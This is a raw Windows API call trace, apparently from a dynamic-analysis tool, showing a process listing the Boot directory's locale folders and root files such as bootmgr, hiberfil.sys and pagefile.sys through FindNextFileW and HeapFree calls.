FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0283.356] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.356] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0283.356] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.356] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0283.356] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.356] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0283.357] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.357] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0283.451] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.451] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0283.451] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.451] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0283.451] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.451] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0283.451] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.451] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0283.452] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.452] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0283.452] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.452] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0283.452] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.452] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0283.453] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.453] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0283.453] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.453] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0283.453] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.453] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0283.453] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.454] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0283.454] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.454] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0283.468] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.468] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0283.468] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.468] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0283.469] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.469] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0283.469] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.469] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0283.471] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3da0960 | out: hHeap=0x4e0000) returned 1 [0283.471] FindNextFileW (in: hFindFile=0x544010, lpFindFileData=0x34bf800 | out: lpFindFileData=0x34bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0283.471] FindClose (in: hFindFile=0x544010 | out: hFindFile=0x544010) returned 1 [0283.471] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.471] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0283.471] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.471] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0283.471] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.471] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0283.472] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.472] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0283.472] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.472] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0283.472] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.472] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0283.472] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.473] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0283.473] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.473] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0283.473] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.473] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0283.473] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.473] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0283.474] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.474] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0283.474] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.474] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0283.474] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0283.474] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0283.474] FindClose (in: hFindFile=0x543d10 | out: hFindFile=0x543d10) returned 1 [0283.474] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d50938 | out: hHeap=0x4e0000) returned 1 [0283.476] FindNextFileW (in: hFindFile=0x543c90, lpFindFileData=0x34bfcf8 | out: lpFindFileData=0x34bfcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0283.477] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3da0960 | out: hHeap=0x4e0000) returned 1 [0283.477] FindNextFileW (in: hFindFile=0x543c90, lpFindFileData=0x34bfcf8 | out: lpFindFileData=0x34bfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0283.477] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3da0960 | out: hHeap=0x4e0000) returned 1 [0283.477] FindNextFileW (in: hFindFile=0x543c90, lpFindFileData=0x34bfcf8 | out: lpFindFileData=0x34bfcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x22275200, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0283.485] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3da0960 | out: hHeap=0x4e0000) returned 1 [0283.485] FindNextFileW (in: hFindFile=0x543c90, lpFindFileData=0x34bfcf8 | out: lpFindFileData=0x34bfcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x24c97ed6, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0283.486] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3da0960 | out: hHeap=0x4e0000) returned 1 [0283.486] 